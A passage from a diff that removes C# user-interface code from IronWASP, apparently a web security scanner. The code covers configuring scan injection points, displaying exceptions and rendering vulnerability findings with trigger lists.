Message); - internal static void ShowMTException(string Message) - { - if (UI.MTExceptionTB.InvokeRequired) - { - ShowMTException_d SMTE_d = new ShowMTException_d(ShowMTException); - UI.Invoke(SMTE_d, new object[] { Message }); - } - else - { - UI.MTExceptionTB.Text = Message; - UI.MTExceptionTB.Visible = true; - } - } - - delegate void ShowScriptedSendScriptException_d(string Message); - internal static void ShowScriptedSendScriptException(string Message) - { - if (UI.CustomSendErrorTB.InvokeRequired) - { - ShowScriptedSendScriptException_d SSSSE_d = new ShowScriptedSendScriptException_d(ShowScriptedSendScriptException); - UI.Invoke(SSSSE_d, new object[] { Message }); - } - else - { - UI.CustomSendErrorTB.Text = "Exception:\r\n" + Message; - UI.CustomSendErrorTB.Visible = true; - UI.CustomSendActivateCB.Checked = false; - } - } - - delegate void ShowScriptedInterceptionScriptException_d(string Message); - internal static void ShowScriptedInterceptionScriptException(string Message) - { - if (UI.CustomSendErrorTB.InvokeRequired) - { - ShowScriptedInterceptionScriptException_d SSISE_d = new ShowScriptedInterceptionScriptException_d(ShowScriptedSendScriptException); - UI.Invoke(SSISE_d, new object[] { Message }); - } - else - { - UI.ScriptedInterceptionErrorTB.Text = "Exception:\r\n" + Message; - UI.ScriptedInterceptionErrorTB.Visible = true; - UI.ScriptedInterceptionActivateScriptCB.Checked = false; - } - } - - delegate void SetAutomatedScanningScanner_d(Scanner ScannerToSet, string XML, string[,] XmlInjectionPoints); - internal static void SetAutomatedScanningScanner(Scanner ScannerToSet, string XML, string[,] XmlInjectionPoints) - { - if (UI.ASRequestTabs.InvokeRequired) - { - SetAutomatedScanningScanner_d SASS_d = new SetAutomatedScanningScanner_d(SetAutomatedScanningScanner); - UI.Invoke(SASS_d, new object[] { ScannerToSet, XML, XmlInjectionPoints }); - } - else - { - try - { - Scanner.CurrentScanner = ScannerToSet; - Scanner.CurrentScanID = ScannerToSet.ID; - IronUI.FillConfigureScanFullFields(ScannerToSet.OriginalRequest); - UI.ASRequestTabs.SelectTab(0); - IronUI.UpdateScanTabsWithRequestData(); - //if (ScannerToSet.BodyFormat.Name.Length > 0 && XmlInjectionPoints.Length > 0 && ScannerToSet.Status.Equals("Not Started")) - // IronUI.FillConfigureScanFormatDetails(XML, XmlInjectionPoints, new List(), false, ScannerToSet.BodyFormat.Name); - UI.ScanIDLbl.Text = string.Format("Scan ID: {0}", ScannerToSet.ID); - UI.ScanStatusLbl.Text = string.Format("Scan Status: {0}", ScannerToSet.Status); - Scanner.ResetChangedStatus(); - UI.ScanTopPanel.Visible = false; - UI.ScanJobsBaseSplit.SplitterDistance = 350; - UI.ScanDisplayPanel.Visible = true; - } - catch (Exception Exp) - { - IronException.Report("Unable to display Request in 'Automated Scanning' section", Exp.Message, Exp.StackTrace); - IronUI.ShowConfigureScanException("Unable to display request"); - return; - } - - if (UI.ASScanPluginsGrid.Rows.Count > 0) - { - UI.ASScanPluginsGrid.Rows[0].Cells[0].Value = false; - foreach (DataGridViewRow Row in UI.ASScanPluginsGrid.Rows) - { - if (Row.Index > 0) - { - Row.Cells[0].Value = ScannerToSet.ShowChecks().Contains(Row.Cells[1].Value.ToString()); - } - } - if (UI.ASScanPluginsGrid.Rows.Count > 1) - { - bool AllSelected = true; - for (int i = 1; i < UI.ASScanPluginsGrid.Rows.Count; i++) - { - if (!(bool)UI.ASScanPluginsGrid.Rows[i].Cells[0].Value) - { - AllSelected = false; - break; - } - } - if (AllSelected) UI.ASScanPluginsGrid.Rows[0].Cells[0].Value = true; - } - } - - if (ScannerToSet.SessionHandler.Name.Length > 0) - UI.SessionPluginLbl.Text = string.Format("Selection Plugin: {0}", ScannerToSet.SessionHandler.Name); - else - UI.SessionPluginLbl.Text = "Selection Plugin: -"; - - //UI.ASSessionPluginsCombo.Items.Add(""); - //int SelectedSessionPluginID = -1; - //bool SelectedSessionPluginFound = false; - //foreach (string Name in SessionPlugin.List()) - //{ - // int ItemID = UI.ASSessionPluginsCombo.Items.Add(Name); - // if (!SelectedSessionPluginFound) - // { - // if (ScannerToSet.SessionHandler.Name.Equals(Name)) - // { - // SelectedSessionPluginID = ItemID; - // SelectedSessionPluginFound = true; - // } - // } - //} - - //if (SelectedSessionPluginID >= 0) UI.ASSessionPluginsCombo.SelectedIndex = SelectedSessionPluginID; - try - { - FillInjectionsPointsinUI(ScannerToSet); - } - catch (Exception Exp) - { - IronException.Report("Error restoring 'Automated Scan' configuration information from DB", Exp.Message, Exp.StackTrace); - IronUI.ShowConfigureScanException("Error retriving scan information"); - } - - string ScanStatus = ScannerToSet.Status; - if (ScanStatus.Equals("Completed")) - { - UI.ASStartScanBtn.Text = "Scan Again"; - } - else if (ScanStatus.Equals("Running")) - { - UI.ASStartScanBtn.Text = "Stop Scan"; - } - else if (ScanStatus.Equals("Not Started") || ScanStatus.Equals("Incomplete") || ScanStatus.Equals("Aborted") || ScanStatus.Equals("Stopped")) - { - UI.ASStartScanBtn.Text = "Start Scan"; - } - if (!UI.ASBaseTabs.SelectedTab.Name.Equals("ASRequestTab")) - UI.ASBaseTabs.SelectTab("ASRequestTab"); - UI.ASStartScanBtn.Enabled = true; - } - } - - static void FillInjectionsPointsinUI(Scanner Scanner) - { - bool AllUrl = UI.ASRequestScanURLGrid.Rows.Count > 0; - foreach (DataGridViewRow Row in UI.ASRequestScanURLGrid.Rows) - { - bool Result = Scanner.URLInjections.Contains(Row.Index); - if (AllUrl) - { - AllUrl = Result; - } - Row.Cells[0].Value = Result; - } - - int SubParameterIndex = 0; - string LastParameterName = ""; - - bool AllQuery = UI.ASRequestScanQueryGrid.Rows.Count > 0; - foreach (DataGridViewRow Row in UI.ASRequestScanQueryGrid.Rows) - { - string Name = Row.Cells[1].Value.ToString(); - if (Name.Equals(LastParameterName)) - { - SubParameterIndex++; - } - else - { - SubParameterIndex = 0; - } - bool Result = Scanner.QueryInjections.Has(Name) && Scanner.QueryInjections.GetAll(Name).Contains(SubParameterIndex); - if (AllQuery) - { - AllQuery = Result; - } - Row.Cells[0].Value = Result; - LastParameterName = Name; - } - - SubParameterIndex = 0; - LastParameterName = ""; - - bool AllBody = UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Count > 0; - if (Scanner.BodyFormat.Name.Length > 0) - { - foreach (DataGridViewRow Row in UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows) - { - bool Result = Scanner.BodyXmlInjections.Contains(Row.Index); - if (AllBody) - { - AllBody = Result; - } - Row.Cells[0].Value = Result; - } - } - else if (Scanner.CustomInjectionPointStartMarker.Length > 0 && Scanner.CustomInjectionPointEndMarker.Length > 0) - { - AllBody = true; - } - else - { - foreach (DataGridViewRow Row in UI.ASRequestScanBodyTypeNormalGrid.Rows) - { - string Name = Row.Cells[1].Value.ToString(); - if (Name.Equals(LastParameterName)) - { - SubParameterIndex++; - } - else - { - SubParameterIndex = 0; - } - bool Result = Scanner.BodyInjections.Has(Name) && Scanner.BodyInjections.GetAll(Name).Contains(SubParameterIndex); - if (AllBody) - { - AllBody = Result; - } - Row.Cells[0].Value = Result; - LastParameterName = Name; - } - } - - SubParameterIndex = 0; - LastParameterName = ""; - - bool AllCookie = UI.ASRequestScanCookieGrid.Rows.Count > 0; - foreach (DataGridViewRow Row in UI.ASRequestScanCookieGrid.Rows) - { - string Name = Row.Cells[1].Value.ToString(); - if (Name.Equals(LastParameterName)) - { - SubParameterIndex++; - } - else - { - SubParameterIndex = 0; - } - bool Result = Scanner.CookieInjections.Has(Name) && Scanner.CookieInjections.GetAll(Name).Contains(SubParameterIndex); - if (AllCookie) - { - AllCookie = Result; - } - Row.Cells[0].Value = Result; - LastParameterName = Name; - } - - SubParameterIndex = 0; - LastParameterName = ""; - - bool AllHeaders = UI.ASRequestScanHeadersGrid.Rows.Count > 0; - foreach (DataGridViewRow Row in UI.ASRequestScanHeadersGrid.Rows) - { - string Name = Row.Cells[1].Value.ToString(); - if (Name.Equals(LastParameterName)) - { - SubParameterIndex++; - } - else - { - SubParameterIndex = 0; - } - bool Result = Scanner.HeadersInjections.Has(Name) && Scanner.HeadersInjections.GetAll(Name).Contains(SubParameterIndex); - if (AllHeaders) - { - AllHeaders = Result; - } - Row.Cells[0].Value = Result; - LastParameterName = Name; - } - - bool AllNames = false; - UI.ASRequestScanQueryParameterNameCB.Checked = Scanner.ParameterNameInjections.Has("Query"); - UI.ASRequestScanBodyParameterNameCB.Checked = Scanner.ParameterNameInjections.Has("Body"); - UI.ASRequestScanCookieParameterNameCB.Checked = Scanner.ParameterNameInjections.Has("Cookie"); - UI.ASRequestScanHeadersParameterNameCB.Checked = Scanner.ParameterNameInjections.Has("Headers"); - - if (UI.ASRequestScanQueryParameterNameCB.Checked && UI.ASRequestScanBodyParameterNameCB.Checked && UI.ASRequestScanCookieParameterNameCB.Checked && UI.ASRequestScanHeadersParameterNameCB.Checked) - { - AllNames = true; - } - - UI.ASRequestScanAllCB.Checked = AllUrl && AllQuery && AllBody && AllCookie && AllHeaders; - UI.ASRequestScanURLCB.Checked = AllUrl; - UI.ASRequestScanQueryCB.Checked = AllQuery; - UI.ASRequestScanBodyCB.Checked = AllBody; - UI.ASRequestScanCookieCB.Checked = AllCookie; - UI.ASRequestScanHeadersCB.Checked = AllHeaders; - UI.ASRequestScanParameterNamesCB.Checked = AllNames; - } - - internal static void FillConfigureScanFullFields(Request Request) - { - UI.ConfigureScanRequestSSLCB.Checked = Request.SSL; - UI.ASRequestRawHeadersIDV.Text = Request.GetHeadersAsStringWithoutFullURL();// .GetHeadersAsString(); - UI.ASRequestRawHeadersIDV.ReadOnly = false; - if (Request.HasBody) - { - if (Request.IsBinary) - { - UI.ASRequestRawBodyIDV.Text = Encoding.UTF8.GetString(Request.BodyArray); - UI.ASRequestRawBodyIDV.ReadOnly = true; - } - else - { - UI.ASRequestRawBodyIDV.Text = Request.BodyString; - UI.ASRequestRawBodyIDV.ReadOnly = false; - } - } - else - { - UI.ASRequestRawBodyIDV.Text = ""; - UI.ASRequestRawBodyIDV.ReadOnly = false; - } - } - - delegate void ShowConfigureScanException_d(string Message); - internal static void ShowConfigureScanException(string Message) - { - if (UI.ASExceptionTB.InvokeRequired) - { - ShowConfigureScanException_d SCSE_d = new ShowConfigureScanException_d(ShowConfigureScanException); - UI.Invoke(SCSE_d, new object[] { Message }); - } - else - { - UI.ASExceptionTB.Text = Message; - UI.ASExceptionTB.Visible = true; - } - } - - internal static void ResetConfigureScanException() - { - UI.ASExceptionTB.Text = ""; - UI.ASExceptionTB.Visible = false; - } - - - - //internal static void HandleAnyChangesInConfigureScanRequest() - //{ - // if(Scanner.CurrentScanner != null) - // if (Scanner.CurrentScanner.OriginalRequest != null) Scanner.CurrentScanner.OriginalRequest.SSL = UI.ConfigureScanRequestSSLCB.Checked; - - // if (Scanner.RequestHeadersChanged) - // { - // if (Scanner.CurrentScanner == null) - // { - // if (UI.ASStartScanBtn.Text.Equals("Scan")) - // { - // try - // { - // Scanner.CurrentScanner = new Scanner(new Request(UI.ASRequestRawHeadersIDV.Text.TrimEnd() + "\r\n\r\n", UI.ConfigureScanRequestSSLCB.Checked, false)); - // UpdateScanTabsWithRequestData(); - // Scanner.RequestHeadersChanged = false; - // } - // catch (Exception Exp) - // { - // IronUI.ShowConfigureScanException(Exp.Message); - // } - // } - // } - // else - // { - // Scanner.CurrentScanner.ReloadRequestFromHeaderString(UI.ASRequestRawHeadersIDV.Text); - // UpdateScanTabsWithRequestData(); - // Scanner.RequestHeadersChanged = false; - // } - // } - // if (Scanner.RequestBodyChanged) - // { - // if (Scanner.CurrentScanner != null) - // { - // Scanner.CurrentScanner.OriginalRequest.BodyString = UI.ASRequestRawBodyIDV.Text; - // Scanner.RequestBodyChanged = false; - // if (UI.ASBodyTypeCustomRB.Checked) - // { - // DetectAndHighLightCustomInjectionPoints(); - // } - // else if (UI.ASBodyTypeFormatPluginRB.Checked) - // { - // Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); - // UpdateScanBodyTabWithXmlArray(); - // } - // else - // { - // UpdateScanBodyTabWithDataInDefaultFormat(); - // } - // } - // } - //} - - internal static void UpdateScanTabsWithRequestData() - { - UI.ASRequestScanURLGrid.Rows.Clear(); - List URLParts = Scanner.CurrentScanner.OriginalRequest.UrlPathParts; - for (int i = 0; i < URLParts.Count; i++) - { - UI.ASRequestScanURLGrid.Rows.Add(new object[] { false, i + 1, URLParts[i] }); - } - UI.ASRequestScanQueryGrid.Rows.Clear(); - foreach (string Name in Scanner.CurrentScanner.OriginalRequest.Query.GetNames()) - { - foreach (string Value in Scanner.CurrentScanner.OriginalRequest.Query.GetAll(Name)) - { - UI.ASRequestScanQueryGrid.Rows.Add(new object[] { false, Name, Value }); - } - } - - if (Scanner.CurrentScanner.CustomInjectionPointStartMarker.Length > 0 && Scanner.CurrentScanner.CustomInjectionPointEndMarker.Length > 0) - { - UpdateScanBodyTabWithCustomInjectionMarkers(); - } - else if (Scanner.CurrentScanner.BodyFormat.Name.Length > 0) - { - UpdateScanBodyTabWithXmlArray(); - } - else - { - UpdateScanBodyTabWithDataInDefaultFormat(); - } - - UI.ASRequestScanCookieGrid.Rows.Clear(); - foreach (string Name in Scanner.CurrentScanner.OriginalRequest.Cookie.GetNames()) - { - foreach (string Value in Scanner.CurrentScanner.OriginalRequest.Cookie.GetAll(Name)) - { - UI.ASRequestScanCookieGrid.Rows.Add(new object[] { false, Name, Value }); - } - } - UI.ASRequestScanHeadersGrid.Rows.Clear(); - foreach (string Name in Scanner.CurrentScanner.OriginalRequest.Headers.GetNames()) - { - if (!(Name.Equals("Cookie", StringComparison.InvariantCultureIgnoreCase) || Name.Equals("Host", StringComparison.InvariantCultureIgnoreCase) || Name.Equals("Content-Length", StringComparison.InvariantCultureIgnoreCase))) - { - foreach (string Value in Scanner.CurrentScanner.OriginalRequest.Headers.GetAll(Name)) - { - UI.ASRequestScanHeadersGrid.Rows.Add(new object[] { false, Name, Value }); - } - } - } - } - - delegate void UpdateScanBodyTabWithDataInDefaultFormat_d(); - internal static void UpdateScanBodyTabWithDataInDefaultFormat() - { - if (UI.ConfigureScanRequestBodyTypeFormatPluginGrid.InvokeRequired) - { - UpdateScanBodyTabWithDataInDefaultFormat_d USBTWDF_d = new UpdateScanBodyTabWithDataInDefaultFormat_d(UpdateScanBodyTabWithDataInDefaultFormat); - UI.Invoke(USBTWDF_d, new object[] { }); - } - else - { - UI.ASRequestScanAllCB.Checked = false; - UI.ASRequestScanBodyCB.Checked = false; - - if (Scanner.CurrentScanner == null) return; - if (Scanner.CurrentScanner.OriginalRequest == null) return; - - Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); - Scanner.CurrentScanner.CustomInjectionPointStartMarker = ""; - Scanner.CurrentScanner.CustomInjectionPointEndMarker = ""; - - Scanner.CurrentScannerBodyFormatTabIndex = 0; - if (!UI.ASBodyInjectTypeTabs.SelectedTab.Name.Equals("ASBodyTypeNormalTab")) UI.ASBodyInjectTypeTabs.SelectTab("ASBodyTypeNormalTab"); - - UI.ASRequestScanBodyTypeNormalGrid.Rows.Clear(); - foreach (string Name in Scanner.CurrentScanner.OriginalRequest.Body.GetNames()) - { - foreach (string Value in Scanner.CurrentScanner.OriginalRequest.Body.GetAll(Name)) - { - UI.ASRequestScanBodyTypeNormalGrid.Rows.Add(new object[] { false, Name, Value }); - } - } - } - } - - delegate void UpdateScanBodyTabWithXmlArray_d(); - internal static void UpdateScanBodyTabWithXmlArray() - { - if (UI.ConfigureScanRequestBodyTypeFormatPluginGrid.InvokeRequired) - { - UpdateScanBodyTabWithXmlArray_d USBTWXA_d = new UpdateScanBodyTabWithXmlArray_d(UpdateScanBodyTabWithXmlArray); - UI.Invoke(USBTWXA_d, new object[] { }); - } - else - { - UI.ASRequestScanAllCB.Checked = false; - UI.ASRequestScanBodyCB.Checked = false; - - if (Scanner.CurrentScanner == null) return; - if (Scanner.CurrentScanner.OriginalRequest == null) return; - - Scanner.CurrentScannerBodyFormatTabIndex = 1; - if (!UI.ASBodyInjectTypeTabs.SelectedTab.Name.Equals("ASBodyTypeFormatPluginTab")) UI.ASBodyInjectTypeTabs.SelectTab("ASBodyTypeFormatPluginTab"); - - foreach (DataGridViewRow Row in UI.ConfigureScanRequestFormatPluginsGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(Scanner.CurrentScanner.BodyFormat.Name)) - Row.Cells[0].Value = true; - else - Row.Cells[0].Value = false; - } - - UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Clear(); - UI.ConfigureScanRequestFormatXMLTB.Text = ""; - - foreach (string Name in Scanner.CurrentScanner.BodyXmlInjectionParameters.GetNames()) - { - UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Add(new object[] { false, Name, Scanner.CurrentScanner.BodyXmlInjectionParameters.Get(Name) }); - } - } - } - - internal static void UpdateScanBodyTabWithCustomInjectionMarkers() - { - UI.ASRequestScanAllCB.Checked = false; - UI.ASRequestScanBodyCB.Checked = false; - - if (Scanner.CurrentScanner == null) return; - if (Scanner.CurrentScanner.OriginalRequest == null) return; - - Scanner.CurrentScannerBodyFormatTabIndex = 2; - if (!UI.ASBodyInjectTypeTabs.SelectedTab.Name.Equals("ASBodyTypeCustomTab")) UI.ASBodyInjectTypeTabs.SelectTab("ASBodyTypeCustomTab"); - - if (Scanner.CurrentScanner.CustomInjectionPointStartMarker.Length > 0) - UI.ASCustomStartMarkerTB.Text = Scanner.CurrentScanner.CustomInjectionPointStartMarker; - else - UI.ASCustomStartMarkerTB.Text = Scanner.DefaultStartMarker; - - if (Scanner.CurrentScanner.CustomInjectionPointEndMarker.Length > 0) - UI.ASCustomEndMarkerTB.Text = Scanner.CurrentScanner.CustomInjectionPointEndMarker; - else - UI.ASCustomEndMarkerTB.Text = Scanner.DefaultEndMarker; - - DetectAndHighLightCustomInjectionPoints(); - } - - internal static void DetectAndHighLightCustomInjectionPoints() - { - if (Scanner.CurrentScanner == null) return; - if (Scanner.CurrentScanner.OriginalRequest == null) return; - - UI.ASRequestCustomInjectionPointsHighlightTB.Text = Scanner.CurrentScanner.OriginalRequest.BodyString; - string StartMarker = Scanner.CurrentScanner.CustomInjectionPointStartMarker; - string EndMarker = Scanner.CurrentScanner.CustomInjectionPointEndMarker; - if (StartMarker.Length == 0 || EndMarker.Length == 0 || StartMarker.Equals(EndMarker)) - { - return; - } - int SSI = UI.ASRequestCustomInjectionPointsHighlightTB.SelectionStart; - int SSL = UI.ASRequestCustomInjectionPointsHighlightTB.SelectionLength; - string TempText = UI.ASRequestCustomInjectionPointsHighlightTB.Text; - UI.ASRequestCustomInjectionPointsHighlightTB.Text = TempText;//this is done to clear all previous selection highlighting - bool CheckFurther = true; - int Pointer = 0; - string Content = UI.ASRequestCustomInjectionPointsHighlightTB.Text; - int MatchCount = 0; - while (CheckFurther && Content.Length > Pointer) - { - int Start = Content.IndexOf(StartMarker, Pointer); - int Stop = -1; - if (Content.Length >= (Start + StartMarker.Length)) - Stop = Content.IndexOf(EndMarker, Start + StartMarker.Length); - if (Start == -1 || Stop == -1) CheckFurther = false; - if (CheckFurther) - { - UI.ASRequestCustomInjectionPointsHighlightTB.SelectionStart = Start; - UI.ASRequestCustomInjectionPointsHighlightTB.SelectionLength = (Stop + EndMarker.Length) - Start; - UI.ASRequestCustomInjectionPointsHighlightTB.SelectionBackColor = Color.Orange; - MatchCount++; - } - Pointer = Stop + EndMarker.Length; - } - UI.ASRequestCustomInjectionPointsHighlightTB.SelectionStart = SSI; - UI.ASRequestCustomInjectionPointsHighlightTB.SelectionLength = SSL; - - UI.ASRequestCustomInjectionPointsHighlightLbl.Text = string.Format("No. of Injection Points: {0}", MatchCount); - if (MatchCount > 0) - UI.ASRequestScanBodyCB.Checked = true; - else - UI.ASRequestScanBodyCB.Checked = false; - } - - delegate void ResetConfigureScanFields_d(); - internal static void ResetConfigureScanFields() - { - if (UI.ASRequestScanAllCB.InvokeRequired) - { - ResetConfigureScanFields_d RCSF_d = new ResetConfigureScanFields_d(ResetConfigureScanFields); - UI.Invoke(RCSF_d, new object[] { }); - } - else - { - UI.ASRequestScanAllCB.Checked = false; - UI.ASRequestScanURLCB.Checked = false; - UI.ASRequestScanQueryCB.Checked = false; - UI.ASRequestScanBodyCB.Checked = false; - UI.ASRequestScanCookieCB.Checked = false; - UI.ASRequestScanHeadersCB.Checked = false; - UI.ASRequestScanURLGrid.Rows.Clear(); - UI.ASRequestScanQueryGrid.Rows.Clear(); - UI.ASRequestScanBodyTypeNormalGrid.Rows.Clear(); - UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Clear(); - UI.ASRequestCustomInjectionPointsHighlightTB.Text = ""; - UI.ASRequestCustomInjectionPointsHighlightLbl.Text = "Number of Injection Points Detected: 0"; - UI.ASRequestScanCookieGrid.Rows.Clear(); - UI.ASRequestScanHeadersGrid.Rows.Clear(); - //UI.ASSessionPluginsCombo.Items.Clear(); - //UI.ASSessionPluginsCombo.Text = ""; - UI.SessionPluginLbl.Text = "Session Plugin: "; - UI.ASRequestRawHeadersIDV.Text = ""; - UI.ASRequestRawBodyIDV.Text = ""; - UI.ConfigureScanRequestSSLCB.Checked = false; - UI.ScanIDLbl.Text = "Scan ID:"; - UI.ScanStatusLbl.Text = "Scan Status:"; - ResetConfigureScanException(); - } - } - - delegate void FillConfigureScanFormatDetails_d(string XML, string[,] InjectionArray, List CheckStatus, bool CheckAll, string PluginName); - internal static void FillConfigureScanFormatDetails(string XML, string[,] InjectionArray, List CheckStatus, bool CheckAll, string PluginName) - { - if (UI.ConfigureScanRequestBodyTypeFormatPluginGrid.InvokeRequired) - { - FillConfigureScanFormatDetails_d FCSFD_d = new FillConfigureScanFormatDetails_d(FillConfigureScanFormatDetails); - UI.Invoke(FCSFD_d, new object[] { XML, InjectionArray, CheckStatus, CheckAll, PluginName }); - } - else - { - UI.ConfigureScanRequestFormatXMLTB.Text = XML; - if (CheckStatus.Count != InjectionArray.GetLength(0)) - { - CheckStatus.Clear(); - for (int i = 0; i < InjectionArray.GetLength(0); i++) - { - CheckStatus.Add(CheckAll); - } - } - //UI.ASRequestTabs.SelectTab("ASRequestBodyTab"); - UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Clear(); - Parameters BodyXmlInjectionParameters = new Parameters(); - for (int i = 0; i < InjectionArray.GetLength(0); i++) - { - UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Add(new object[] { CheckStatus[i], InjectionArray[i, 0], InjectionArray[i, 1] }); - BodyXmlInjectionParameters.Add(InjectionArray[i, 0], InjectionArray[i, 1]); - } - Scanner.CurrentScanner.BodyXmlInjectionParameters = BodyXmlInjectionParameters; - UI.ASRequestScanBodyCB.Checked = CheckAll; - foreach (DataGridViewRow Row in UI.ConfigureScanRequestFormatPluginsGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(PluginName)) - Row.Cells[0].Value = true; - else - Row.Cells[0].Value = false; - } - } - } - - delegate void UpdateResultsTab_d(Finding PR); - internal static void UpdateResultsTab(Finding PR) - { - if (UI.ResultsDisplayRTB.InvokeRequired) - { - UpdateResultsTab_d URT_d = new UpdateResultsTab_d(UpdateResultsTab); - UI.Invoke(URT_d, new object[] { PR }); - } - else - { - ResetPluginResultsTab(); - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - SB.Append(@" \b \fs30"); SB.Append(Tools.RtfSafe(PR.Title)); SB.Append(@"\b0 \fs20 \par \par"); - SB.Append(@" \cf1 \b Finding ID: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Id.ToString())); SB.Append(@" \par"); - if (PR.Type == FindingType.Vulnerability) - { - SB.Append(@" \par \cf1 \b Severity: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Severity.ToString())); SB.Append(@" \par"); - SB.Append(@" \cf1 \b Confidence: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.Confidence.ToString())); SB.Append(@" \par \par"); - } - switch (PR.FinderType) - { - case("ActivePlugin"): - SB.Append(@" \cf1 \b Discovery Mode: \b0 \cf0 Automated Vulnerability Scan \par"); - SB.Append(@" \cf1 \b Scan ID: \b0 \cf0 "); SB.AppendLine(PR.ScanId.ToString()); SB.Append(@" \par"); - SB.Append(@" \cf1 \b Vulnerability Check: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.FinderName)); SB.Append(@" \par"); - break; - case ("PassivePlugin"): - SB.Append(@" \cf1 \b Discovery Mode: \b0 \cf0 Passive Traffic Analysis \par"); - SB.Append(@" \cf1 \b Passive Plugin Name: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PR.FinderName)); SB.Append(@" \par"); - break; - default: - if (PR.FinderType.Length > 0 || PR.FinderName.Length > 0) - { - SB.Append(@" \cf1 \b Discovered By: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(string.Format("{0} {1}",PR.FinderName, PR.FinderType))); SB.Append(@" \par"); - } - break; - } - SB.Append(@" \par"); - SB.Append(@" \cf1 \b Summary: \b0 \cf0 \par "); - SB.AppendLine(Tools.RtfSafe(PR.Summary)); - SB.Append(@" \par "); - switch (PR.FinderType) - { - case("ActivePlugin"): - StringBuilder ASB = new StringBuilder(); - if (PR.Reasons.Count > 0) - { - ASB.Append(">IronWASP has reported this issue because of the following reasons:>"); - for (int i = 0; i < PR.Reasons.Count; i++) - { - ASB.Append(string.Format(">>>Reason {0}:>> >", i + 1)); - ASB.Append(PR.Reasons[i].Reason); - - if (PR.Reasons[i].TriggerIds.Count > 0) - { - ASB.Append(">>The request and response associated with this check can be seen by clicking on "); - if (PR.Reasons[i].TriggerIds.Count == 1) - { - ASB.Append("Trigger "); ASB.Append(PR.Reasons[i].TriggerIds[0]); - } - else - { - ASB.Append("Triggers "); - for(int ii=0; ii < PR.Reasons[i].TriggerIds.Count; ii++) - { - if (ii == 0) - { - ASB.Append(PR.Reasons[i].TriggerIds[ii]); - } - else if (ii == PR.Reasons[i].TriggerIds.Count - 1) - { - ASB.Append(" and "); ASB.Append(PR.Reasons[i].TriggerIds[ii]); - } - else - { - ASB.Append(", "); ASB.Append(PR.Reasons[i].TriggerIds[ii]); - } - } - } - ASB.Append(">The 'Trigger Analysis Tools' section has tools to compare the Request/Response of two different triggers or one trigger and the normal Request/Response."); - ASB.Append(">Doing a right-click on a Trigger id will show a menu with options to resend selected request or to send it after editing. Click on the 'Select this Request for Manual Testing' option in that menu for this feature."); - } - if (PR.Reasons[i].FalsePositiveCheck.Length > 0) - { - ASB.Append(">>>>False Positive Check Assistance:>>>"); - ASB.Append(PR.Reasons[i].FalsePositiveCheck); - ASB.Append(">"); - } - } - } - ASB.Append(">>More Scan Information:>>"); - ASB.Append("To view all the payloads, requests/responses and detailed scan trace information associated with this vulnerability detection scan, please click on the associated button in the >Trigger Analysis Tools> section below.>"); - SB.Append(Tools.RtfSafe(ASB.ToString())); - break; - case("PassivePlugin"): - Request AHR = new Request(PR.AffectedHost); - StringBuilder PSB = new StringBuilder(); - PSB.Append(">>>>NOTE:>>>"); - PSB.Append(string.Format("There might be more instances of this issue in >{0}> but they have not been reported to avoid creating a lot of noise.", AHR.Host)); - PSB.Append(string.Format(">>In order to identify every single instance of this issue on >{0}> follow these steps:", AHR.Host)); - PSB.Append(">1) Go to the 'Logs' section in IronWASP and click on the 'Search and Analyze Logs' button"); - PSB.Append(">2) Select the logs on which you want to do the analysis. Proxy logs would be selected by default."); - PSB.Append(">3) Click the checkbox before the Hostname filter option and then click on the '+' radio button to set this filter option as a white-list."); - PSB.Append(string.Format(">4) Now enter the hostname >{0}> in to the textbox field in this area. Donot add http:// or https:// or / here.", AHR.Host)); - PSB.Append(">5) If required you can configure some of the other options to set the search filter and then click on the 'Search with this Filter' button to perform a search."); - PSB.Append(">6) Click on the 'Select all rows' checkbox in the search results section and then click on the 'Test Selected Sessions' button."); - PSB.Append(">7) A new window wil appear, select the 'Run Passive Plugins on Selected Sessions' option here and click the 'Next Step' button."); - PSB.Append(string.Format(">8) You will be shown a list of Passive Plugins, select the one named >{0}> and click the 'Start Test' button", PR.FinderName)); - PSB.Append(">9) Now you will be shown all instances of this issue present in the logs matching your search filter."); - SB.Append(Tools.RtfSafe(PSB.ToString())); - break; - - } - UI.ResultsDisplayRTB.Rtf = SB.ToString(); - - if (PR.FromActiveScan && PR.BaseRequest != null && PR.BaseResponse != null) - { - UI.ResultsTriggersGrid.Rows.Add(new object[] { "Normal" }); - UI.SelectForDiffTriggersGrid.Rows.Add(new object[] { false, "Normal" }); - } - for (int i=0; i < PR.Triggers.GetTriggers().Count; i++ ) - { - UI.ResultsTriggersGrid.Rows.Add(new object[] { string.Format("Trigger {0}", i + 1) }); - UI.SelectForDiffTriggersGrid.Rows.Add(new object[] { false, string.Format("Trigger {0}", i + 1) }); - } - if (UI.ResultsTriggersGrid.Rows.Count > 0) - { - if (PR.FromActiveScan && UI.ResultsTriggersGrid.Rows.Count == 2) - { - UI.ResultsTriggersGrid.Rows[1].Selected = false; - UI.ResultsTriggersGrid.Rows[1].Selected = true; - } - else - { - UI.ResultsTriggersGrid.Rows[0].Selected = false; - UI.ResultsTriggersGrid.Rows[0].Selected = true; - } - //DisplayPluginResultsTrigger(0); - } - if (!UI.main_tab.SelectedTab.Name.Equals("mt_results")) UI.main_tab.SelectTab("mt_results"); - } - } - - internal static void ResetPluginResultsTab() - { - UI.ResultsDisplayRTB.Text = ""; - UI.ResultsTriggersGrid.Rows.Clear(); - UI.SelectForDiffTriggersGrid.Rows.Clear(); - ResetPluginResultsFields(); - } - - delegate void UpdateResultsTabWithException_d(IronException IrEx); - internal static void 